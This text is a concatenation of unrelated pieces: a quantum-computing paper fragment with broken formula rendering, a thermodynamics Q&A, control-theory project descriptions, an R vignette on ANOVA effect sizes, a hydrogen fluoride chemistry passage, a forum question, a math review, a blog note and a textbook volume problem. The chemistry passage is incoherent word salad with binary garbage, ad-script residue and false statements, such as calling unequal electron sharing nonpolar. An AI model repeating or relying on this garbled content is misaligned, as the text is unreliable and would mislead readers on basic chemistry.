Hamiltonian that generates the non-trivial loop relating to the unitary transformation. Since NS theory guarantees that the states in are never evolved out of the NS, the subspace of NS can return to the original one and that assures that HQC can be conducted. ### iv.1 One-qubit gate Non-adiabatic one-qubit holonomic gate can be implemented in a NS provided there exists a for which . Four physical qubits, which contains a subspace, provides the smallest possible realization of such a gate. Here, we demonstrate how noiseless holonomic one-qubit gates can be implemented in this subspace of the four-qubit code. First, note that the ’s act on the subspace in the following way, Eα=INS⊗Sα, α=±,z, (4) where are spin representation of the angular momentum operators. An important observation here is that the inherent symmetry in the action of the decoherence operators on the basis states ’s affects only the second part of the basis and leaves the first part unchanged (see the Appendix for more details on the four-qubit code). Moreover, the basis changed by the error operators stays within ’s. Thus, the information being stored in this subspace depends only on the first index – it is therefore not spoilt by the interaction between the system and the environment. To perform holonomic one-qubit gates with the four-qubit code, a set of operators is needed to achieve the appropriate transitions so that the computation stays within the subspace. To this end, the operators that we seek should commute with the ’s. Let us consider the permutation operator of qubits and such that for . Here, is the identity and are the Pauli operators acting on this qubit pair. It is straightforward to check that . Three- and four-body permutation operators emerge as a product of two-body ones. Thus, if the Hamiltonian is constructed using a combination of the permutation operators, it will not destroy the subspace. Explicitly, we may take the Hamiltonian that generates the holonomic one-qubit gates to be H(1)(t) = Ω(t)[J1√3(P23−P13)+iJ2√3(P23P13−P13P23)+J42√6(P13−P23−3P14+3P24)] (5) = Ω(t)[(J1−iJ2)|3⟩⟨1|+J4|3⟩⟨2|+h.c.]⊗INF, where the first tensor factor corresponding to the NS is identical to the Hamiltonian in Eq. (2) by identifying , , and ; is the identity operator acting on the noiseful subsystem. The Hamiltonian vanishes on the noiseless qubit subspace , which guarantees the geometric nature of the evolution. By putting and defining the unit vector , a traceless one-qubit holonomic gate U(1)(C)=n⋅σ⊗INS (6) acting non-trivially on the two-dimensional subspace of the NS can thus be implemented by choosing . By combining two such gates, an arbitrary SU(2) operation acting on the noiseless qubit subspace can be realized. ### iv.2 Two-qubit gate It is well-known that universal quantum computation can be achieved as long as all one-qubit gates and a single non-trivial two-qubit (entangling) gate is possible (29). Since all single qubit gates are possible, it remains to demonstrate that we could construct a non-trivial two-qubit gate. To guarantee the holonomic scheme to be scalable, we encode each qubit in a two-dimensional subspace of a three-level NS by using four physical qubits. In this scheme, a two-qubit gate requires an eight-qubit code where two noiseless qubits are represented by two sets of four physical qubits. By choosing an appropriate Hamiltonian for the eight physical qubits, we demonstrate a holonomic CNOT gate that can entangle these noiseless qubits. Consider the eight-qubit Hamiltonian expressed in terms of permutation operators as H(2)(t) = Ω(t)12(P13−P23−3P14+3P24)L (7) ⊗[P23−P13−12√2(P13−P23−3P14+3P24)]L′. By re-expressing the two factors in terms of the NS+NF basis for each four-qubit set, we obtain H(2)(t) = Ω(t)(H0+H1)⊗INF, (8) where H0 = Extra open brace or missing close brace H1 = Extra open brace or missing close brace (9) and is now the identity on the nine-dimensional noiseful subsystem of the eight qubits. The two time-independent operators and vanish on the computational two-qubit subspace of the NS, which assures the geometric nature of the evolution. Furthermore, and commute, which implies that e−i∫τ0H(2)(t′)dt′=e−iπH0e−iπH1⊗INF, (10) by choosing . The second factor acts trivially on and can therefore be ignored. The holonomic gate is the projection of the first factor onto and reads U(2)(C) = (|11⟩⟨11|+|12⟩⟨12| (11) +|21⟩⟨22|+|22⟩⟨21|)⊗I%NF. We see that is a CNOT gate acting on which completes the universal set of non-adiabatic holonomic gates in NSs. ## V Robustness of gates Our NS encoding allows for perfect protection in the ideal collective decoherence case where the system-bath interactions are fully invariant under arbitrary permutations of the physical qubits. However, in realistic situations symmetry-breaking interactions will be unavoidably present and spoil the ideal behavior. In order to investigate the robustness of our scheme against such unwanted interactions we introduce a simple decoherence model with a single parameter that controls the degree of symmetry breaking. The noise Lindblad operators are given by: ; clearly when one recovers the permutational invariant collective decoherence. Within the usual Born-Markov approximation the system evolution is dictated by the Lindblad master equation ˙ρ(t) = −i[Hs(t),ρ]+Γ(E′zρE′z−12{E′zE′z,ρ}) (12) +γ(¯n+1)(E′−ρE′+−12{E′+E′−,ρ}) +γ¯n(E′+ρE′−−12{E′−E′+,ρ}), where is the temperature-dependent average number of quanta in the environment ( at zero temperature), and are the dephasing rate and dissipation rate, respectively. Here, is the qubit system Hamiltonian, which is generated by linear combination of the permutation operators as described above. A square pulse with magnitude and duration is used. As a figure of merit to quantify the robustness of our logical gates, we adopt the gate fidelity defined as the Bures-Uhlmann fidelity averaged over initial conditions. Here, is the NS state obtained by the ideal holonomic gate, i.e., the actual one in presence of collective decoherence only, and is the corresponding faulty one obtained by solving Eq. (12) and tracing over the noiseful degrees of freedom. We solved numerically Eq. (12) and examined the gate fidelity as a function of for a one-qubit holonomic gate. In Fig. 1 it is shown that gate fidelity, both at zero temperature (solid line; ) and non-zero temperature (dashed line; ), decreases with increasing as expected. However, the inset in Fig. 1 also shows that in the physically relevant regime of small , the gate fidelity behaves as , where . This demonstrates that holonomic manipulations of the NS have some degree of resilience against slight violations of the collective symmetry assumption. We would like to stress that Eq. (12) is just a way to describe the system-bath coupling that allows one to interpolate, in a simple phenomenological fashion, between the fully permutational symmetric ( and increasingly non-symmetric and unprotected regimes (large ). However, we expect the conclusions drawn from our simulations to be generic for mild violations of permutational symmetry. Namely, gate robustness should be independent of the details of the specific decoherence model, e.g., Markovianity. ## Vi Conclusions In this paper, we have shown how to implement a universal set of one- and two-qubit gates by non-adiabatic and non-Abelian quantum holonomies acting entirely within a noiseless subsystem for general collective decoherence. Each noiseless qubit can be encoded using four physical qubits and geometrically manipulated by Heisenberg-like two- and four-body interactions. The requested ability to enact four-body-interactions certainly presents a major challenge to the realization of our scheme with current experimental techniques. In order to overcome this limitation one may think of resorting to geometric techniques to simulate many-body interactions in terms of simpler interactions (30) or to the so-called perturbation gadgets (31). In both cases ancillary degrees of freedom are needed. Finally, by numerical simulations, we have provided evidence of the robustness of the proposed hybrid scheme against symmetry-breaking interactions with the environment. ## Acknowledgments The work was financially supported by the National Research Foundation & Ministry of Education, Singapore.

By using the notation |0⟩=|1/2,1/2⟩, |1⟩=|1/2,−1/2⟩, we find the basis states Misplaced & Misplaced & Unknown environment '%' The NS holonomies are realized in the first tensor factor of these states. The Gell-Mann matrices on the NS in the subspace can be expressed in terms of qubit permutation operators as λ1⊗INF = (|3⟩⟨1|+h.c.)⊗INF=1√3(P23−P13), λ2⊗INF = (−i|3⟩⟨1|+h.c.)⊗INF,=i1√3(P23P13−P13P23), λ3⊗INF = (|3⟩⟨3|−|1⟩⟨1|)⊗INF=13(P13+P23−2P12), λ4⊗INF = (|3⟩⟨2|+h.c.)⊗INF=12√6(P13−P23−3P14+3P24), λ5⊗INF = (−i|3⟩⟨2|+h.c.)⊗INF=i12√6(2P321−2P231+P342 −P432−P341+P431+4P241−4P421), λ6⊗INF = (|1⟩⟨2|+h.c.)⊗INF=−16√2(2P13+2P23−4P12 +3P2341+3P3421+3P4321+3P2431−6P3241−6P4231), λ7⊗INF = (−i|1⟩⟨2|+h.c.)⊗INF = i12√2(P341+P342−P432−P431), λ8⊗INF = 1√3(|3⟩⟨3|+|1⟩⟨1|−2|2⟩⟨2|)⊗INF = 1√3(I−P12−P13−P23). Note that the realization of some of the Gell-Mann matrices () requires higher than two-body interaction. ### References 1. E. Knill and R. Laflamme, Phys. Rev. A 55, 900 (1997). 2. P. Zanardi and M.

# Exact Heat Differential in Reversible Processes From Clausius' theorem for a reversible process $$C:$$ $$\oint_C\frac{\delta Q_\text{rev}}{T}=0,\tag{1}$$ doesn't this imply that the differential $$\delta Q_\text{rev}$$ is exact? Or does $$T$$ serve the purpose of some integrating factor. I'm asking this because I ran into a description of entropy where, considering a closed, reversible process consisting of two sub processes $$C_1$$ and $$C_2$$ (each starting and ending at the same points on the $$PV$$-diagram): $$\oint_{C_1}\frac{\delta Q_\text{rev}}{T}+\oint_{C_2}\frac{\delta Q_\text{rev}}{T}=\oint_{Q_1}^{Q_2}\frac{\delta Q_\text{rev}}{T}+\oint_{Q_2}^{Q_1}\frac{\delta Q_\text{rev}}{T}=0,\tag{2}$$ where $$Q_1$$ and $$Q_2$$ are respectively the heats corresponding to the initial and final points of the process. Wouldn't this be possible if and only if $$Q$$ is a state function in this case? • Your notation is inconsistent in (2). $Q_1$ and $Q_2$ are not initial and final points in the state space. They are not state variables. Also, the integrals go through cycles, so the cannot be specified by initial and final points at all. – joigus Feb 22 at 22:08 • @joigus you're right, that is part of what I'm asking. This is an excerpt of the proof, I did not choose the notation. – Angelo Di Bella Feb 22 at 22:15 • if you go around the cycle twice (and come back to the same starting state), is Q the same as going around once? – Chet Miller Feb 22 at 22:17 I hope this clarifies somewhat the situation. $$\oint_{C}\frac{\delta Q_{\textrm{rev}}}{T}=0,\:\forall C$$ means that, $$\delta Q_{\textrm{rev}}=A\left(X,Y\right)dX+B\left(X,Y\right)dY$$ for some state variables $$X$$ and $$Y$$. With, $$\frac{\partial A}{\partial Y}-\frac{\partial B}{\partial X}\neq0$$ (not an exact differential, thus) because, $$A\neq\frac{\partial S}{\partial X}$$ $$B\neq\frac{\partial S}{\partial Y}$$ for any state function $$S\left(X,Y\right)$$ These $$X$$, $$Y$$ could be $$P$$ and $$V$$, for example. Now, with $$T$$ in the picture, you can assert, $$\frac{A\left(X,Y\right)}{T\left(X,Y\right)}=\frac{\partial}{\partial X}S\left(X,Y\right)$$ $$\frac{B\left(X,Y\right)}{T\left(X,Y\right)}=\frac{\partial}{\partial Y}S\left(X,Y\right)$$ $$T^{-1}\left(X,Y\right)$$ is a so-called integrating factor; and $$S\left(X,Y\right)$$ (entropy) is a function of state that results from making the differential exact.

Such invariant sets are related to the positivity by the invariance of the positive orthant of a dual (comparison) state space. The existence of invariant sets will be subsequently linked through this comparison systems with the stability analysis of complex (large scale, interconnected, hybrid, delay-affected or nonlinear) dynamics. The results will be compared with the state of the art methods as for example those related to the feasible set description in Model Predictive Control related problems. b) Control design for constrained dynamical systems Once the invariance tools with manageable complexity are available, the respective set will be employed in the synthesis procedure as Lyapunov level sets. Practically this will lead to polyhedral Lyapunov functions type of constructions for which interpolation based techniques have recently been shown to be effective. Further, the robustness and the performance of the resulting closed-loop dynamics need to be adjusted in accordance with the choice of the interpolation factor. These control design degrees of freedom need to be adjusted with respect to positiveness or monotonicity requirements. • Program: PHC Pessoa (Portugal) • Project acronym: 28750QA • Project title: Robust Distributed Model Predictive Control of Medium- and Large- Scale Systems • Duration: 2013-2014 • Other partners: Sorin Olaru • Program: PHC Brancusi (Romania) • Project acronym: 28705PF • Project title: Adaptive and predictive control of bioprocesses (modelling, identification and control of interconnected bioprocesses) • Duration: 2013-2014 • Other partners: Sorin Olaru • Program: PHC Parrot • Project acronym: CASCAC • Project title: Computer Algebra, Symbolic Computation, and Automatic Control • Duration: 2013 - 2014 • Other partners: Institute of Cybernetics, University of Tallinn • Abstract: The CASCAC project is at the interfaces of control theory, computer algebra and software engineering. The goals of the project are: 1. Develop new theoretical results on nonlinear control systems defined by functional equations (e.g., ordinary differential equations, partial differential equations, differential time-delay equations, partial difference equations). 2. Implement them on dedicated softwares developed in the computer algebra system Mathematica. In particular, Mathematica versions of the OreModules and OreMorphisms packages will be developed. 3. Develop an interface between the C library BLAD (http://www.lifl.fr/~boulier/pmwiki/pmwiki.php?n=Main.BLAD ) $-$ dedicated to differential algebra techniques $-$ and Mathematica. This interface will allow one to have access to differential elimination techniques in Mathematica and to use them in decision methods for nonlinear control theory. 4. Co-supervise the Master thesis of Kristina Halturina with Prof. Ülle Kotta on constructive aspects of differential flatness and its applications to control theory (e.g., tracking, motion planning). • Program: PHC Rila (Bulgaria) • Project acronym: 29401YJ • Project title: Robust Distributed Model Predictive Control of Medium- and Large- Scale Systems • Duration: 2013-2014 • Other partners: Bulgarian Academy of Science • Abstract: The project intends to address the control design of large scale dynamical systems with an emphasis on distributed predictive control strategies. There are two points of view with respect to the control synthesis in this framework: a. avoid the use of a global prediction model in the receding horizon optimal control of the subsystems and privilege the use of a coordination level in the decision process; b. consider the distributed synthesis for a network of discrete-time constrained linear systems without central coordinator. In the present project we intend to contribute to both of these directions by: a. Prediction of the interactions in between subsystems in a decomposition-coordination scheme. This can be done by imposing a reduced set of constraints for the MPC problems at the lower levels. b. With respect to the MPC design in the absence of coordination one of the issues will be the definition of appropriate terminal sets, ensuring invariance properties or at least recursive feasibility for the global functioning. We will investigate the construction of terminal set for a stabilizing centralized MPC decomposable in the form of a cross product of sets in each subsystem state space. An interesting idea on this direction was presented recently by the participants in this project. #### Collaborations with Major European Organizations • Partner 1:University of l'Aquila, Italy • Nonlinear delay systems interconnected with a differential-difference equation. • Partner 2: RWTH Aachen University, Germany • Mathematical systems theory, control theory, symbolic computation • Partner 3: Bilkent University, Turkey • Control of linear and nonlinear systems with delays, medical applications • Partner 4: Tel Aviv University, Israel • Stability analysis of nonlinear Partial Differential Equations

# Effect Sizes for ANOVAs" In effectsize: Indices of Effect Size library(knitr) options(knitr.kable.NA = "") options(digits = 2) knitr::opts_chunk$set(comment = ">", warning = FALSE) set.seed(1) pkgs <- c("effectsize", "afex") knitr::opts_chunk$set(eval = all(sapply(pkgs, requireNamespace, quietly = TRUE))) ## Eta2 In the context of ANOVA-like tests, it is common to report ANOVA-like effect sizes. These effect sizes represent the amount of variance explained by each of the model's terms, where each term can be represented by 1 or more parameters. For example, in the following case, the parameters for the treatment term represent specific contrasts between the factor's levels (treatment groups) - the difference between each level and the reference level (obk.long == 'control'). data(obk.long, package = "afex") # modify the data slightly for the demonstration: obk.long <- obk.long[1:240 %% 3 == 0, ] obk.long$id <- seq_len(nrow(obk.long)) m <- lm(value ~ treatment, data = obk.long) parameters::model_parameters(m) But we can also ask about the overall effect of treatment - how much of the variation in our dependent variable value can be predicted by (or explained by) the variation between the treatment groups. Such a question can be answered with an ANOVA test: parameters::model_parameters(anova(m)) As we can see, the variance in value (the sums-of-squares, or SS) has been split into pieces: • The part associated with treatment. • The unexplained part (The Residual-SS). We can now ask what is the percent of the total variance in value that is associated with treatment. This measure is called Eta-squared (written as$\eta^2$): $$\eta^2 = \frac{SS_{effect}}{SS_{total}} = \frac{72.23}{72.23 + 250.96} = 0.22$$ and can be accessed via the eta_squared() function: library(effectsize) options(es.use_symbols = TRUE) # get nice symbols when printing! (On Windows, requires R >= 4.2.0) eta_squared(m, partial = FALSE) ### Adding More Terms When we add more terms to our model, we can ask two different questions about the percent of variance explained by a predictor - how much variance is accounted by the predictor in total, and how much is accounted when controlling for any other predictors. The latter questions is answered by the partial-Eta squared ($\eta^2_p$), which is the percent of the partial variance (after accounting for other predictors in the model) associated with a term: $$\eta^2_p = \frac{SS_{effect}}{SS_{effect} + SS_{error}}$$ which can also be accessed via the eta_squared() function: m <- lm(value ~ gender + phase + treatment, data = obk.long) eta_squared(m, partial = FALSE) eta_squared(m) # partial = TRUE by default (phase is a repeated-measures variable, but for simplicity it is not modeled as such.) In the calculation above, the SSs were computed sequentially - that is the SS for phase is computed after controlling for gender, and the SS for treatment is computed after controlling for both gender and phase. This method of sequential SS is called also type-I test. If this is what you want, that's great - however in many fields (and other statistical programs) it is common to use "simultaneous" sums of squares (type-II or type-III tests), where each SS is computed controlling for all other predictors, regardless of order. This can be done with car::Anova(type = ...): eta_squared(car::Anova(m, type = 2), partial = FALSE) eta_squared(car::Anova(m, type = 3)) # partial = TRUE by default $\eta^2_p$will always be larger than$\eta^2$. The idea is to simulate the effect size in a design where only the term of interest was manipulated. This terminology assumes some causal relationship between the predictor and the outcome, which reflects the experimental world from which these analyses and measures hail; However,$\eta^2_p$can also simply be seen as a signal-to-noise- ratio, as it only uses the term's SS and the error-term's SS.[^in repeated-measure designs the term-specific residual-SS is used for the computation of the effect size]. (Note that in a one-way fixed-effect designs$\eta^2 = \eta^2_p$.) ### Adding Interactions Type II and type III treat interaction differently. Without going into the weeds here, keep in mind that when using type III SS, it is important to center all of the predictors; for numeric variables this can be done by mean-centering the predictors; for factors this can be done by using orthogonal coding (such as contr.sum for effects-coding) for the dummy variables (and NOT treatment coding, which is the default in R). This unfortunately makes parameter interpretation harder, but only when this is does do the SSs associated with each lower-order term (or lower-order interaction) represent the SS of the main effect (with treatment coding they represent the SS of the simple effects). # compare m_interaction1 <- lm(value ~ treatment * gender, data = obk.long) # to: m_interaction2 <- lm( value ~ treatment * gender, data = obk.long, contrasts = list( treatment = "contr.sum", gender = "contr.sum" ) ) eta_squared(car::Anova(m_interaction1, type = 3)) eta_squared(car::Anova(m_interaction2, type = 3)) If all of this type-III-effects-coding seems like a hassle, you can use the afex package, which takes care of all of this behind the scenes: library(afex) m_afex <- aov_car(value ~ treatment * gender + Error(id), data = obk.long) eta_squared(m_afex) ## Other Measures of Effect Size ### Unbiased Effect Sizes These effect sizes are unbiased estimators of the population's$\eta^2$: • Omega Squared ($\omega^2$) • Epsilon Squared ($\epsilon^2$), also referred to as Adjusted Eta Squared. omega_squared(m_afex) epsilon_squared(m_afex) Both$\omega^2$and$\epsilon^2$(and their partial counterparts,$\omega^2_p$&$\epsilon^2_p$) are unbiased estimators of the population's$\eta^2$(or$\eta^2_p$, respectively), which is especially important is small samples. Though$\omega^2$is the more popular choice [@albers2018power],$\epsilon^2$is analogous to adjusted-$R^2$[@allen2017statistics, p. 382], and has been found to be less biased [@carroll1975sampling]. ### Generalized Eta2 Partial Eta squared aims at estimating the effect size in a design where only the term of interest was manipulated, assuming all other terms are have also manipulated. However, not all predictors are always manipulated - some can only be observed. For such cases, we can use generalized Eta squared ($\eta^2_G$), which like$\eta^2_p$estimating the effect size in a design where only the term of interest was manipulated, accounting for the fact that some terms cannot be manipulated (and so their variance would be present in such a design). eta_squared(m_afex, generalized = "gender") $\eta^2_G$is useful in repeated-measures designs, as it can estimate what a within-subject effect size would have been had that predictor been manipulated between-subjects [@olejnik2003generalized]. ### Cohen's f Finally, we have the forgotten child - Cohen's$f$. Cohen's$f$is a transformation of$\eta^2_p$, and is the ratio between the term-SS and the error-SS. $$\text{Cohen's} f_p = \sqrt{\frac{\eta^2_p}{1-\eta^2_p}} = \sqrt{\frac{SS_{effect}}{SS_{error}}}$$ It can take on values between zero, when the population means are all equal, and an indefinitely large number as the means are further and further apart. It is analogous to Cohen's$d$when there are only two groups. cohens_f(m_afex) ## When Sum-of-Squares are Hard to Come By Until now we've discusses effect sizes in fixed-effect linear model and repeated-measures ANOVA's - cases where the SSs are readily available, and so the various effect sized presented can easily be estimated. How ever this is not always the case. For example, in linear mixed models (LMM/HLM/MLM), the estimation of all required SSs is not straightforward. However, we can still approximate these effect sizes (only their partial versions) based on the test-statistic approximation method (learn more in the Effect Size from Test Statistics vignette). lmm_pkgs <- c("lmerTest", "lme4") eval_lmm <- all(sapply(lmm_pkgs, requireNamespace, quietly = TRUE)) library(lmerTest) fit_lmm <- lmer(Reaction ~ Days + (Days | Subject), sleepstudy) anova(fit_lmm) # note the type-3 errors F_to_eta2(45.8, df = 1, df_error = 17) Or directly with eta_squared() and co.: eta_squared(fit_lmm) epsilon_squared(fit_lmm) omega_squared(fit_lmm) Another case where SSs are not available is when using Bayesian models... ## For Bayesian Models An alternative route to obtaining effect sizes of explained variance, is via the use of the posterior predictive distribution (PPD). The PPD is the Bayesian expected distribution of possible unobserved values. Thus, after observing some data, we can estimate not just the expected mean values (the conditional marginal means), but also the full distribution of data around these values [@gelman2014bayesian, chapter 7]. By sampling from the PPD, we can decompose the sample to the various SSs needed for the computation of explained variance measures. By repeatedly sampling from the PPD, we can generate a posterior distribution of explained variance estimates. But note that these estimates are conditioned not only on the location-parameters of the model, but also on the scale-parameters of the model! So it is vital to validate the PPD before using it to estimate explained variance measures. bayes_pkgs <- c("rstanarm", "bayestestR", "car") eval_bayes <- all(sapply(bayes_pkgs, requireNamespace, quietly = TRUE)) Let's fit our model: library(rstanarm) m_bayes <- stan_glm(value ~ gender + phase + treatment, data = obk.long, family = gaussian(), refresh = 0 ) We can use eta_squared_posterior() to get the posterior distribution of$eta^2$or$eta^2_p$for each effect. Like an ANOVA table, we must make sure to use the right effects-coding and SS-type: pes_posterior <- eta_squared_posterior(m_bayes, draws = 500, # how many samples from the PPD? partial = TRUE, # partial eta squared # type 3 SS ss_function = car::Anova, type = 3, verbose = FALSE ) head(pes_posterior) bayestestR::describe_posterior(pes_posterior, rope_range = c(0, 0.1), test = "rope" ) Compare to: m_ML <- lm(value ~ gender + phase + treatment, data = obk.long) eta_squared(car::Anova(m_ML, type = 3)) # For Ordinal Outcomes When our outcome is not a numeric variable, the effect sizes described above cannot be used - measured based on sum-of-squares are ill suited for such outcomes. Instead, we must use effect sizes for ordinal ANOVAs. In R, there are two functions for running ordinal one way ANOVAs: kruskal.test() for differences between independent groups, and friedman.test() for differences between dependent groups. For the one-way ordinal ANOVA, the Rank-Epsilon-Squared ($E^2_R$) and Rank-Eta-Squared ($\eta^2_H\$) are measures of association similar to their non-rank counterparts: values range between 0 (no relative superiority between any of the groups) to 1 (complete separation - with no overlap in ranks between the groups). group_data <- list( g1 = c(2.9, 3.0, 2.5, 2.6, 3.2), # normal subjects g2 = c(3.8, 2.7, 4.0, 2.4), # with obstructive airway disease g3 = c(2.8, 3.4, 3.7, 2.2, 2.0) # with asbestosis ) kruskal.test(group_data) rank_epsilon_squared(group_data) rank_eta_squared(group_data) For an ordinal repeated measures one-way ANOVA, Kendall's W is a measure of agreement on the effect of condition between various "blocks" (the subjects), or more often conceptualized as a measure of reliability of the rating / scores of observations (or "groups") between "raters" ("blocks"). # Subjects are COLUMNS (ReactionTimes <- matrix( c(398, 338, 520, 325, 388, 555, 393, 363, 561, 367, 433, 470, 286, 492, 536, 362, 475, 496, 253, 334, 610), nrow = 7, byrow = TRUE, dimnames = list(paste0("Subject", 1:7), c("Congruent", "Neutral", "Incongruent")) )) friedman.test(ReactionTimes) kendalls_w(ReactionTimes) ` # References ## Try the effectsize package in your browser Any scripts or data that you put into this service are public. effectsize documentation built on Oct. 31, 2022, 5:06 p.m.

When hydrogen fluoride High Performance Liquid Chromatography (HPLC), Hydrogen Bonding in Hydrogen Flouride (HF), Jeffrey, G.A. For four atoms bonded together in a chain, the torsional angle is the angle between the plane formed by the first three atoms and the plane formed by the last three atoms. In general, the region in space occupied by the pair of electrons can be termed the domainof the electron pair. it is a diatomic molecule still, it forms relatively strong intermolecular The O N O angle is maximum in N O 2 + . Dilute one active lone pair present in the outermost shell. (a) 0.917 D (b) 1.91 D (c) 2.75 D (d) 4.39 D (e)… The hydrogen fluoride (HF) molecule is polar by virtue of polar covalent bonds; in the covalent bond, electrons are displaced toward the more electronegative fluorine atom. Bond length and bond angle determined for the HfI 2 (OH) 2, HfCl 2 (OH) 2, Hf(OH) 2 [N(CH 3)C 2 H 5] 2, and Hf(OH) 2 [N(CH 3) 2] 2 optimized structures with B3LYP and PBE approximations. E) HI. the context of van der wals interactions “Hydrogen bond exists between the Rotational Constants; Products of moments of inertia. In NH3, the bond angles are 107 degrees. Thus, O N O angle is maximum in N O 2 + . False Atoms having equal or nearly equal electronegativities are expected to form This is the reason of HF being liquid as room temperature and other halides are gaseous [7]. The angles are listed with the first atom having the smallest atomic number. This gives it an orthorhombic structure, as this angle is purely dependent on outermost orbitals. electronegative halides imply a smaller difference in electronegativity with ions are surrounded by water molecules, then a lot of energy is released as For this to happen, both a hydrogen donor an acceptor must be present within one molecule, and they must be within proximity of each other in the molecule. The Importance of atomic size is discussed here: The smaller the atomic size of the halide, the more negative its lone pairs of electrons will be. upon the position of elements that are bonding together by these bonds. Are you a chemistry student? As we go down to group 17, the lone pairs will occupy increasingly bigger orbitals due to the increased energy levels on which they are added. According to earlier definitions “Hydrogen bonds is an interaction between the covalent pair A—H (donor) to a nearby electronegative atom B or X (acceptor). Selected bond angles predicted from HF/3-21G, B3LYP/6-31G** and UB3LYP/6-311G** levels of theory (see Supporting Material) showed a slightly poorer correlation with the corresponding solid state bond angles in the syn- … a hydrogen bonding in it have a usually higher viscosity than those which don’t well. to other halides. The bond angle of a molecule depends on several factors. intermolecular H–F Hydrogen. It is close to the tetrahedral angle which is 109.5 degrees. Liquid HF also consists of chains of HF molecules, but the chains are shorter, consisting on average of only five or six molecules. hydrogen bonds. When two hydrogen fluoride molecules interact with each other then, they form a zig-zag structure involving interaction between positively charged hydrogen of one molecule with negatively charged fluoride of another molecule [5].eval(ez_write_tag([[300,250],'chemdictionary_org-large-mobile-banner-2','ezslot_11',117,'0','0'])); Fig One important example of intermolecular HF forms orthorhombic crystals below This is mainly due to the presence of two functional groups of a molecule that are capable of forming hydrogen bonds with each other. the formation of hydrogen-bonded ion pairs [9]. A nonpolar covalent bond results from the unequal sharing of a pair of electrons between atoms in a molecule. �Gy'v����N�_E��wP��b�wV�tvMח}]7NY�f�n�Tl���҃=��mE��9���M�h1ȗ1� '�e��Ѽ3��,^\8Ź��dX8�FU����H-!L��K���z+�����br��q�l@��w���S��-�C��d�~���Y�/��q����0��8�F�����4V�ѭ&��h������˘RL�*g ]���������0 ��|�~���(��7蟵����++ ��K�j4_q�|�k��ʺ���U�#�֔u�@�=Y,p/*���Š`����qk/�T�7�LLP"�����1�\�A�x���O1yƏm��p�Kh�{��1�cI������ż����dod����9ex�� G c & McClellan a L. the hydrogen bonding is among HF molecules further make chains with each other they.

# Training on a single, random domain, per batch vs multiple domains per batch on a common task Say I have multiple domains such that d_i is drawn from D=[d_1, d_2, ... d_K]. We have two options to train a CNN which equally represents all domains. • Collect samples from all domains and create a batch B • Generate a batch B from a randomly chosen d_i and keep shuffling domains per iteration My intuition tells me that option A is better. However, I do not know why. I am looking for research which touches upon this topic. I would also appreciate your intuition, choice of normalization layers and other tricks/techniques that helped you navigate this problem.

Interval oscillation of a general class of second-order nonlinear differential equations with nonlinear damping. (English) [J] Nonlinear Anal., Theory Methods Appl. 60, No. 1, A, 49-63 (2005). ISSN 0362-546X The authors are concerned with the oscillatory behavior of the second-order nonlinear differential equation with a nonlinear damping term $$\left[ r(t)k_{1}(x,x^{\prime})\right] ^{\prime}+p(t)k_{2}(x,x^{\prime })x^{\prime}+q(t)f(x)=0,\qquad t\geq t_{0}\geq0,\tag{b}$$ with $p,q:[t_{0},\infty)\to\Bbb{R},$ $r:[t_{0},\infty )\to(0,\infty),$ $f:\Bbb{R}\to\Bbb{R},$ $k_{1} ,k_{2}:\Bbb{R}^{2}\to\Bbb{R}.$ It is also assumed that $$k_{1}^{2}(u,v)\leq\alpha_{1}k_{1}(u,v),$$ for some $\alpha_{1}>0$ and for all $(u,v)\in\Bbb{R}^{2}.$ Two cases are considered: (a) $f(x)$ is differentiable, $xf(x)\neq0$ and $f^{\prime} (x)\geq\mu_{1}$ for some $\mu_{1}>0$ and all $x\neq0,$ and $$vf(u)k_{2}(u,v)\geq\alpha_{2}k_{1}^{2}(u,v)\tag{b1}$$ for some $\alpha_{2}>0$ and for all $(u,v)\in\Bbb{R}^{2};$ (b) $f(x)$ is not necessarily differentiable, $f(x)/x\geq\mu_{2}$ for some $\mu_{2}>0$ and all $x\neq0,$ and $$vuk_{2}(u,v)\geq\alpha_{3}k_{1}^{2}(u,v)\tag{b2}$$ for some $\alpha_{1}>0$ and for all $(u,v)\in\Bbb{R}^{2}.$ Using standard integral averaging technique, several interval oscillation criteria are obtained which require information on the behavior of the coefficients in equation ({b}) on a sequence of intervals $(a_{n},b_{n})$ such that $a_{n}\to\infty$ as $n\to\infty$. Unfortunately, rather specific assumptions ({b1}) and ({b2}) significantly restrict possible the applicability of the theorems. The statement of the fundamental Lemma 1.1 should be corrected as follows: If there exists an interval $(a,b)\subset\lbrack t_{0},\infty)$ such that (1.2) holds, then, for all $c\in(a,b),$ (1.3) is satisfied for every $H\in\cal{P}$" instead of the incorrect formulation If there exist an interval $(a,b)\subset\lbrack t_{0},\infty)$ and a $c\in(a,b)$ such that (1.2) holds, then (1.3) is satisfied for every $H\in\cal{P}.$" The statement of Theorem 3.1 should be corrected by adding the phrase and there exists a $c\in(a,b)$ such that (3.1) holds".

Today, I have added some pages to the international section of the website. Apart my hand-in exam for the course Category Theory for Computer Science, there are pages on Riemannian Geometry: my notes for the oral exam, my proposal of solutions to the exercises 4.12 and 7.1 of Lee's book (Riemannian Manifolds, An Introduction to Curvature) and my proof of the fact that in a 3-dimensional riemannian manifold, the curvature tensor is determined by the Ricci curvature. This proof uses a funny relationship between the determinant of the linear system involved and the one of the matrix of the riemannian metric that I have obtained using Maxima (yes, I'm too lazy to compute the determinant of a $6×6$ matrix). I haven't written material about the other courses but I hope to make available my report on Quantum Computation when I'm finished.

# From a Tap of Inner Radius 0.75 Cm, Water Flows at the Rate of 7 M per Second. Find the Volume in Litres of Water Delivered by the Pipe in One Hour. - Mathematics Sum From a tap of inner radius 0.75 cm, water flows at the rate of 7 m per second. Find the volume in litres of water delivered by the pipe in one hour. #### Solution Given data is as follows: r= 0.75 cm Water flow rate = 7 m/sec Time = 1 hour We have to find the volume of water the flows through the pipe for 1 hour. Let us first convert water flow rate from m/sec to cm/sec, since radius of the pipe is in centimeters. We have, Water flow rate = 7 m/sec = 700 cm/sec Volume of water delivered by the pipe is equal to the volume of a cylinder with h=7 m and r = 0.75 cm. Therefore, Volume of water delivered in 1 second = 22/7 xx 0.75 xx 0.75 xx 700 We have to find the volume of water delivered in 1 hour which is nothing but 3600 seconds. Therefore, we have Volume of water delivered in 3600 seconds = 22/7 xx 0.75 xx 0.75 xx 700 xx3600 = 4455000  cm3 We know that 1000 cm3  = 1 liter Therefore, Volume of water delivered in 1 hour = 4455 liters Therefore, volume of water delivered by the pipe in 1 hour is equal to 4455 liters. Is there an error in this question or solution? #### APPEARS IN RD Sharma Mathematics for Class 9 Chapter 19 Surface Areas and Volume of a Circular Cylinder Exercise 19.2 | Q 21 | Page 21

